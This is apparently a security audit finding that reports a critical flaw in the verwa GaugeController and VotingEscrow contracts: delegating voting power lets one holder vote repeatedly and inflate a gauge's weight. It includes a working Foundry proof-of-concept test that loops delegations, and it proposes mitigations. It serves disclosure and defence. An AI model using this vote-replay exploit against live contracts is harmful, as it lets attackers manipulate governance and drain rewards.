Voters from VotingEscrow can vote infinite times in vote_for_gauge_weights() of GaugeController
criticalLines of code
https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356
Vulnerability details
Impact
Delegate mechanism in VotingEscrow allows infinite votes in vote_for_gauge_weights() in the GaugeController. Users can then, for example, claim more tokens in the LendingLedger in the market that they inflated the votes on.
Proof of Concept
VotingEscrow has a delegate mechanism which lets a user delegate the voting power to another user.
The GaugeController allows voters who locked native in VotingEscrow to vote on the weight of a specific gauge.
Due to the fact that users can delegate their voting power in the VotingEscrow, they may vote once in a gauge by calling vote_for_gauge_weights(), delegate their votes to another address and then call again vote_for_gauge_weights() using this other address.
A POC was built in Foundry, add the following test to GaugeController.t.sol:
solidityfunction testDelegateSystemMultipleVoting() public { vm.deal(user1, 100 ether); vm.startPrank(gov); gc.add_gauge(user1); gc.change_gauge_weight(user1, 100); vm.stopPrank(); vm.deal(user2, 100 ether); vm.startPrank(gov); gc.add_gauge(user2); gc.change_gauge_weight(user2, 100); vm.stopPrank(); uint256 v = 10 ether; vm.startPrank(user1); ve.createLock{value: v}(v); gc.vote_for_gauge_weights(user1, 10_000); vm.stopPrank(); vm.startPrank(user2); ve.createLock{value: v}(v); gc.vote_for_gauge_weights(user2, 10_000); vm.stopPrank(); uint256 expectedWeight_ = gc.get_gauge_weight(user1); assertEq(gc.gauge_relative_weight(user1, 7 days), 50e16); uint256 numDelegatedTimes_ = 20; for (uint i_; i_ < numDelegatedTimes_; i_++) { address fakeUserI_ = vm.addr(i_ + 27); // random num vm.deal(fakeUserI_, 1); vm.prank(fakeUserI_); ve.createLock{value: 1}(1); vm.prank(user1); ve.delegate(fakeUserI_); vm.prank(fakeUserI_); gc.vote_for_gauge_weights(user1, 10_000); } // assert that the weight is approx numDelegatedTimes_ more than expected assertEq(gc.get_gauge_weight(user1), expectedWeight_*(numDelegatedTimes_ + 1) - numDelegatedTimes_*100); // relative weight has been increase by a lot, can be increased even more if wished assertEq(gc.gauge_relative_weight(user1, 7 days), 954545454545454545); }
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
The vulnerability comes from the fact that the voting power is fetched from the current timestamp, instead of n blocks in the past, allowing users to vote, delegate, vote again and so on. Thus, the voting power should be fetched from n blocks in the past.
Additionaly, note that this alone is not enough, because when the current block reaches n blocks in the future, the votes can be replayed again by having delegated to another user n blocks in the past. The exploit in this scenario would become more difficult, but still possible, such as: vote, delegate, wait n blocks, vote and so on. For this reason, a predefined window by the governance could be scheduled, in which users can vote on the weights of a gauge, n blocks in the past from the scheduled window start.
Assessed type
Other
